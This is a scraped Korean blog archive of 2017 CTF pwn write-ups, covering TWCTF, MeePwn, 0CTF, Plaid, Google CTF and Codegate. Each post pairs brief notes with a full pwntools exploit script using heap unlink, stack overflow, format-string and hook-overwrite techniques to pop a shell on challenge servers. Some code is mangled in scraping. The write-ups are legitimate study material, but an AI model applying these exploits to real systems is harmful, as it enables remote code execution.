단순한 heap overflow 문제로 

unsafe unlink를 이용해서 풀었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# !/usr/bin/env python
# powerprove
 
from pwn import *
import sys
 
if len(sys.argv) == 1:
    host = "localhost"
    port = 4000
else:
    host = "pwn1.chal.ctf.westerns.tokyo"
    port = 16317
 
def menu(index):
    s.recvuntil("Your choice: \n")
    s.sendline(str(index))
 
def add(size, payload):
    menu(1)
    s.recvuntil("Please input the size: \n")
    s.sendline(str(size))
    s.recvuntil("Please input your note: \n")
    s.sendline(payload)
 
def delete(index):
    menu(2)
    s.recvuntil("Please input the index: \n")
    s.sendline(str(index))
 
def show(index):
    menu(3)
    s.recvuntil("Please input the index: \n")
    s.sendline(str(index))
 
def edit(index, payload):
    menu(4)
    s.recvuntil("Please input the index: \n")
    s.sendline(str(index))
    s.recvuntil("Please input your note: \n")
    s.sendline(payload)
 
= remote(host, port)
 
if __name__ == "__main__":
 
        add(128"A"*127)
        add(128"A"*127)
        add(128"A"*127)
    add(128 + 8"A"*135)
    add(128"A"*127)
    add(128"/bin/sh\x00")
    delete(4)
    add(128"")
 
    show(4)
    s.recvuntil("Note: \n\n")
    libc_base = u64(str("\x00" + s.recv(5)).ljust(8"\x00")) - 0x3c4b00
    system_addr = libc_base + 0x45390
    log.info("libc_base           : " + hex(libc_base))
    log.info("system_addr         : " + hex(system_addr))
 
    payload = p64(0x0)
    payload += p64(0x81)
    payload += p64(0x6020d8 - 24)
    payload += p64(0x6020d8 - 16)
    payload = payload.ljust(128"A")
    payload += p64(0x80)
    payload += "\x90"
    edit(3, payload)
    delete(4)
    edit(3"\x18\x20\x60\x00\x00"# free_got
    edit(0, p64(system_addr))
    delete(5)
 
    s.interactive()
cs



'CTF > 2017' 카테고리의 다른 글

twctf just_do_it write up  (0) 2017.09.08
meepwn CTF 2017 - oldschool  (0) 2017.07.23
MeePwn ctf bs  (0) 2017.07.21
[0CTF EasiestPrintf] write up  (0) 2017.06.30
[plaid ctf 2017] bigpicture  (0) 2017.06.29
블로그 이미지

powerprove

,
단순한 bof문제

1
2
3
4
5
6
7
8
9
10
11
12
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
if __name__ == "__main__":
    #s = process("./just_do_it")
    s = remote("pwn1.chal.ctf.westerns.tokyo",12482)
    payload = "A"*0x14
    payload += p32(0x804A080)
    s.sendline(payload)
    s.interactive()
cs




'CTF > 2017' 카테고리의 다른 글

twctf simple_note write up  (0) 2017.09.08
meepwn CTF 2017 - oldschool  (0) 2017.07.23
MeePwn ctf bs  (0) 2017.07.21
[0CTF EasiestPrintf] write up  (0) 2017.06.30
[plaid ctf 2017] bigpicture  (0) 2017.06.29
블로그 이미지

powerprove

,

bof 문제.

아이다 디컴파일이 안되는법 해결은 아래 포스트에.


카나리 우회가 귀찮다.

스택에 널을 많이 넣고 원샷 돌림.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# !/usr/bin/env python
# powerprove
 
from pwn import *
import sys
 
 
if len(sys.argv) < 2:
    host =  "localhost"
    port = 4000
 
def menu(index):
    s.recvuntil("Choice:")
    s.sendline(str(index))
 
def add_book(name, author, payload_len , payload):
    menu(1)
    s.recvuntil("name")
    s.sendline(name)
    s.recvuntil("Author")
    s.sendline(author)
    s.recvuntil("Description:")
    s.sendline(str(payload_len))
    s.recvuntil("Description")
    s.sendline(str(payload))
 
def leak():
    menu(4)
    s.recvuntil("AAAA")
    libc_base = u64(s.recv(6).ljust(8,"\x00")) -0x7a5e8
    log.info("libc_base          : "+hex(libc_base))
    return libc_base
 
def edit(index, payload, payload2):
    menu(2)
    s.recvuntil("edit")
    s.sendline(str(index))
    s.sendline(payload)
    s.sendline(payload2)
 
= remote(host, port)
raw_input("meepwn : oldshcool")
 
if __name__ == "__main__":
    add_book("B"*31"B"*31256"AAAA")
    libc_base = leak()
    edit(1"B""B")
    s.sendline("A"*28)
    menu(4)
    s.recvuntil("A"*28)
    stack = u64(s.recv(6).ljust(8"\x00")) -0x123
    log.info("stack              : "+hex(stack))
 
    menu(1)
    s.sendline("C"*64)
    edit(2"D"*100"D"*400)
    edit(1"D"*100"E"*(829+ "\x00" + p32(0x1)  +p64(stack + 0x301 - 68+ "D"*200)
    menu(4)
    s.recvuntil("Description: ")
    canary = u64(s.recv(7+ "\x00")
    log.info("canary             : "+hex(canary))
    one_gadget = libc_base + 0xf0274
    edit("A""A")
    payload = p64(canary)
    payload += "A"*15
    payload += p64(one_gadget) + "\x00"*0x60
    s.sendline(payload)
 
    s.recvuntil("Choice:")
    s.sendline("FUCK")
 
s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

twctf simple_note write up  (0) 2017.09.08
twctf just_do_it write up  (0) 2017.09.08
MeePwn ctf bs  (0) 2017.07.21
[0CTF EasiestPrintf] write up  (0) 2017.06.30
[plaid ctf 2017] bigpicture  (0) 2017.06.29
블로그 이미지

powerprove

,

MeePwn ctf bs

CTF/2017 2017. 7. 21. 16:16

인티져 오버플로우를 통해서 root를 우회할 수 있고

-를 이용해 릭과 got overwrite가 가능하다.

문제는 got를 이용해서 어떻게 공격을 할까인데

첫 번째 인자를 조절할수 있는 방법이 memcmp밖에 없기 때문에 이를 system으로 바꿧다.

open을 ret으로 바꿔주면 memcmp에 첫번째 인자를 원하는 곳으로 바꿀수 있다.

memcmp가 main 처음에 있기 때문에 scanf를 main으로 돌려서 호출시켰다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# !/usr/bin/env python
# powerprove
 
from pwn import *
import sys
 
 
if len(sys.argv) < 2:
    host = "localhost"
    port = 4000
 
def init():
    s.recvuntil("password:")
    s.sendline("")
    s.recvuntil("_id:")
    s.sendline("-16777216"# integer_overflow
 
def input():
    s.recvuntil("sort ?")
        s.sendline("-129")
        s.recvuntil("integers")
        for i in range(0127):
                s.sendline(str(i))
 
def leak():
    s.recvuntil("break\n")
    s.sendline("-21")
    read_addr = int(s.recv(10),16)
    log.info("read_addr         : " + hex(read_addr))
    s.sendline("-1")
    return read_addr - 0xd5af0
 
def edit(payload):
    s.recvuntil("it ?")
    s.sendline("y")
    s.sendline(str(payload))
 
def passs():
    s.recvuntil("it ?")
    s.sendline("")
 
def pwn(system_addr):
    s.recvuntil("find\n")
    s.sendline("1879048191")
 
    for i in range(030):
        if i == 22:
                edit(system_addr)
        elif i == 25:
                edit(str(134514642))
        elif i == 28:
                edit(str(134515010))
        else:
            passs()
 
    edit("/bin/sh")
    s.recvuntil("password:\n")
    s.sendline("FUCK")
 
= remote(host, port)
 
if __name__ == "__main__":
    init()
    input()
    libc_base = leak()
 
    log.info("libc_base         : " + hex(libc_base))
    system_addr = libc_base + 0x3ada0
    log.info("system_addr       : "+hex(system_addr))
 
    pwn(system_addr)
 
s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

twctf just_do_it write up  (0) 2017.09.08
meepwn CTF 2017 - oldschool  (0) 2017.07.23
[0CTF EasiestPrintf] write up  (0) 2017.06.30
[plaid ctf 2017] bigpicture  (0) 2017.06.29
[google ctf 2017] Inst Prof write up  (0) 2017.06.29
블로그 이미지

powerprove

,

포맷 스트링 버그 문제이다.

codegate문제처럼 스택을 이용해서 printf의 리턴값을 바꾸는 문제로 생각했고 많은 부르트 포싱을 이용해 페이로드를 만들었다.

근데 라이트 업을보니 printf에서 %100000c와 같이 많은 값을 출력시키게 되면 malloc과 free를 호출하게 된다는 사실을 알게됬다

때문에 malloc_hook나 free_hook를 통해서 eip를 컨트롤 할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
host = "localhost"
port = 4000
 
context.clear(arch = 'i386')
= remote(host, port)
raw_input("0CTF")
 
def leak():
    printf_got = 0x8049FC8
    s.recvuntil("read:\n")
    s.sendline(str(printf_got))
    printf_addr = int(s.recv(10), 16)
    return printf_addr
 
if __name__ == "__main__":
    printf_addr = leak()
    libc_base = printf_addr - 0x49670
    malloc_hook = libc_base + 0x1b2768
    system_addr = libc_base + 0x3ada0
    data = 0x804A020
    #data = libc_base + 0x15b9ab
 
    log.info("printf_addr      : " + hex(printf_addr))
    log.info("libc_base        : " + hex(libc_base))
    log.info("malloc_hook      : " + hex(malloc_hook))
    log.info("system_addr      : " + hex(system_addr))
#data: 0x68730000}
    s.recv()
    payload = fmtstr_payload(7, {data: 0x00006873, malloc_hook: system_addr})
    payload += "%" + str(data-32+ "c"
    s.sendline(payload)
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

meepwn CTF 2017 - oldschool  (0) 2017.07.23
MeePwn ctf bs  (0) 2017.07.21
[plaid ctf 2017] bigpicture  (0) 2017.06.29
[google ctf 2017] Inst Prof write up  (0) 2017.06.29
[codegate 2017 final] owner  (0) 2017.06.26
블로그 이미지

powerprove

,

처음에 malloc을 조금 크게 잡으면 libc안에 할당을 하게 된다.

여기서 libc의 main_area쪽과 거리 계산을 통해 -를 이용해서 릭을한다.

그 후 free_hook를 system으로 덮고 malloc할당된 곳에 /bin/sh를 덮어 씌우면 끝이난다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
host = "localhost"
port = 4000
 
= remote(host, port)
raw_input("plaid CTF 2017")
 
def make_payload(a, b, c):
    payload = str(a) + " , " + str(b) + " , " + str(c)
    return payload
 
def leak():
    libc = ""
    addr = -1176712
    for i in range(06):
        payload = make_payload(1, addr + i, 'A')
        s.sendline(payload)
 
        s.recvuntil("overwriting ")
        libc += s.recv(1)
    return u64(libc+"\x00\x00")
 
def exploit(one_shot):
    addr = -1170488 - 24
    for i in range(06):
        payload = make_payload(1, addr + i, one_shot[i])
        s.sendline(payload)
        s.recv()
 
    binsh = "/bin/sh\x00"
    for i in range(0len(binsh)):
        payload = make_payload(0, i, binsh[i])
        s.sendline(payload)
        s.recv()
 
if __name__ == "__main__":
    s.sendline("1000 x 1000")
 
    libc = leak() - 0x3C4B78 - 0x3e0
    system_addr = libc + 0x45390
 
    log.info("libc_base        : " + hex(libc))
    log.info("system_addr      : " + hex(system_addr))
 
    exploit(p64(system_addr))
    s.sendline("quit")
    s.recv(100)
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

MeePwn ctf bs  (0) 2017.07.21
[0CTF EasiestPrintf] write up  (0) 2017.06.30
[google ctf 2017] Inst Prof write up  (0) 2017.06.29
[codegate 2017 final] owner  (0) 2017.06.26
codegate_final 2017 real  (0) 2017.06.23
블로그 이미지

powerprove

,

shellocode를 4바이트만큼 실행시켜주는데

주요 레지스터들을 초기화 시켜준다

그래서 r14를 이용해서 rsp+0x50에 NULL을 넣어주고

one_shot gadget을 이용해서 쉘을 땃다



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
= remote("localhost"4000)
raw_input("googlectf 2017")
 
 
context.arch = "amd64"
shellcode = "\x90"*100
shellcode += asm(shellcraft.amd64.linux.sh())
 
 
if __name__ == "__main__":
 
    log.info("making rsp+0x30 = NULL")
    payload = ""
    payload += "\x49\x89\xE6\xC3"       # mov r14, rsp ; ret
    payload += "\x4D\x01\xD6\xC3"       # add r14, r10 ; ret
    payload += "\x4D\x01\xD6\xC3"       # add r14, r10 ; ret
    payload += "\x49\xFF\xC6\xC3"*0xc   # inc r14 ; ret
    payload += "\x4D\x89\x3E\x90"       # mov QWORD PTR [r14],r15 ; ret
 
    log.info("making one_shot")
    payload += "\x4C\x8B\x75\x18"       # mov r14, [rbp + 0x10]
    payload += "\x4D\x01\xD6\x90"*6     # add r14, r10 ; ret
    payload += "\x49\xFF\xC6\x90"*3     # inc r14
    payload += "\x4D\x01\xDE\xC3"*4        # add r14, r11 ; ret
    payload += "\x4D\x01\xD6\xC3"*8        # add r14, r10 ; ret
    payload += "\x49\xFF\xC6\xC3"*0x1c  # inc r14 ; ret
    payload += "\x41\xFF\xD6\xC3"
    s.send(payload)
 
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

[0CTF EasiestPrintf] write up  (0) 2017.06.30
[plaid ctf 2017] bigpicture  (0) 2017.06.29
[codegate 2017 final] owner  (0) 2017.06.26
codegate_final 2017 real  (0) 2017.06.23
허스트 CTF pwn write up  (0) 2017.05.31
블로그 이미지

powerprove

,

분석이 까다롭다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
def appart(name, floor, house, describe):
    s.recvuntil(">")
    s.sendline("1")
    s.recvuntil("name?")
    s.sendline(str(name))
    s.recvuntil("?")
    s.sendline(str(floor))
    s.recvuntil("?")
    s.sendline(str(house))
    s.recvuntil(":")
    s.sendline(str(describe))
 
def select(select):
    s.recvuntil(">")
    s.sendline(str(select))
 
= remote("localhost"8000)
 
if __name__ == "__main__":
    appart("A"*1120"1111638594","1111638594","DDDDDDD")
    select(4)
    select(2)
    select(1)
    select(1)
    select(2)
    select(4)
    select(1)
    select(3)
    select(1)
    s.recvuntil("Normal price of menu : ")
    libc = int(s.recv(15)) - 0x3c4b78
    malloc_hook = libc + 0x3c4b10
    one_shot = libc + 0xf0274
 
    log.info("libc           : " + str(hex(libc)))
    log.info("malloc_hook    : " + str(hex(malloc_hook)))
 
    select(9)
    select(4)
    select(4)
    appart("1""1""1""1")
    select(4)
    select(1)
    select(3)
    select(1)
    select(6)
    s.sendline(str(malloc_hook))
    select(9)
    select(1)
    select(2)
    select(1)
    s.sendline(p64(one_shot))
    #s.sendline("AAAAAAAA")
    select(10)
    select(5)
    select(5)
    select(5)
 
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

[plaid ctf 2017] bigpicture  (0) 2017.06.29
[google ctf 2017] Inst Prof write up  (0) 2017.06.29
codegate_final 2017 real  (0) 2017.06.23
허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
블로그 이미지

powerprove

,

codegate_final 2017 real

CTF/2017 2017. 6. 23. 20:46

codegate 첫번째 문제였다.


main함수에서 ShowData란 함수를 호출하는데


ShowData함수는 내가 원하는 한바이트를 출력시킬수 있게 해준다. + main에서 ShowData함수를 호출하기전에 Stack의 주소를 알려준다.



소스코드를 보면 format과 args에 값을 넣을 수 있고 포맷스트링 버그 취약점을 발생시킨다

처음에 당연히 got값을 덮을라고 했지만.



FULL relro이기 때문에  got값을 덮을수 없다.

때문에 스택을 이용해서 공격을 해야한다.



printf 내부를 보면 vfprintf함수가 존재한다.

그리고 vfpirntf함수 안에서 %n이 출력이 된다.

그러므로 vfprintf의 ret 주소를 구해서 %n을 이용해 eip를 컨트롤 하였다.


eip가 컨트롤 되는 것을 확인할수 있다. 

printf의 ret값이아니라 vprintf의 ret값을 바꾸는 이유는 vprintf의 ret값에는 printf의 주소가 있기 때문에 릭을 하지 않아도 libc를 이용할수 있다.

이를 이용해서 one_shot gadget을 통해서 exploit하였다.

one shot 가젯을 이용하려면 esp+0x50이 NULL이여야되기때문에

첫번째 printf에다가 NULL로 만들어주고

두번째 printf를 통해서 eip를 돌렸다.


Showdata의 한바이트 만으로는 aslr을 완벽히 우회가 불가능하여 16분의1확률로 성공이된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
= remote("localhost"8000)
raw_input("[*] codegate final_2017 ")
 
def leak():
    s.recvuntil("is ")
    stack = int(s.recv(15), 16)
    s.recvuntil("-->")
    s.sendline(str(stack + 0x1a))
    s.recvuntil("is ")
    aslr = int(s.recv(2), 16)
    return stack, aslr
 
def fsb_input(Format, arg):
    s.recvuntil("-->")
    s.sendline(Format)
    s.recvuntil("-->")
    s.sendline(arg)
 
 
if __name__ == "__main__":
    stack, aslr = leak()
    aslr = aslr - 2 + 0xf
 
    one_shot = str(hex(aslr)) + "111700"
    one_shot = int(one_shot, 16)
 
    log.info("stack     : " + hex(stack))
    log.info("aslr      : " + hex(aslr) )
    log.info("exploit   : " + hex(one_shot))
 
    fsb_input("%n"str(stack+0x68 - 0xd8))
    for i in range(014):
        fsb_input("%"+str(one_shot)+"c"+"%1$n",str(stack-0xe9))
 
    s.interactive()
 
cs




이 문제의 핵심은 printf 내부에서 ret를 컨트롤 하는 것인것 같다.

대회때 못푼게 아쉽다...ㅎ

'CTF > 2017' 카테고리의 다른 글

[google ctf 2017] Inst Prof write up  (0) 2017.06.29
[codegate 2017 final] owner  (0) 2017.06.26
허스트 CTF pwn write up  (0) 2017.05.31
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
블로그 이미지

powerprove

,

hustpwn.zip


'CTF > 2017' 카테고리의 다른 글

[codegate 2017 final] owner  (0) 2017.06.26
codegate_final 2017 real  (0) 2017.06.23
DEFCON_2017 beatmeonthedl  (0) 2017.05.07
DEFCON - smashme  (0) 2017.05.07
[codegate final] petshop  (0) 2017.04.28
블로그 이미지

powerprove

,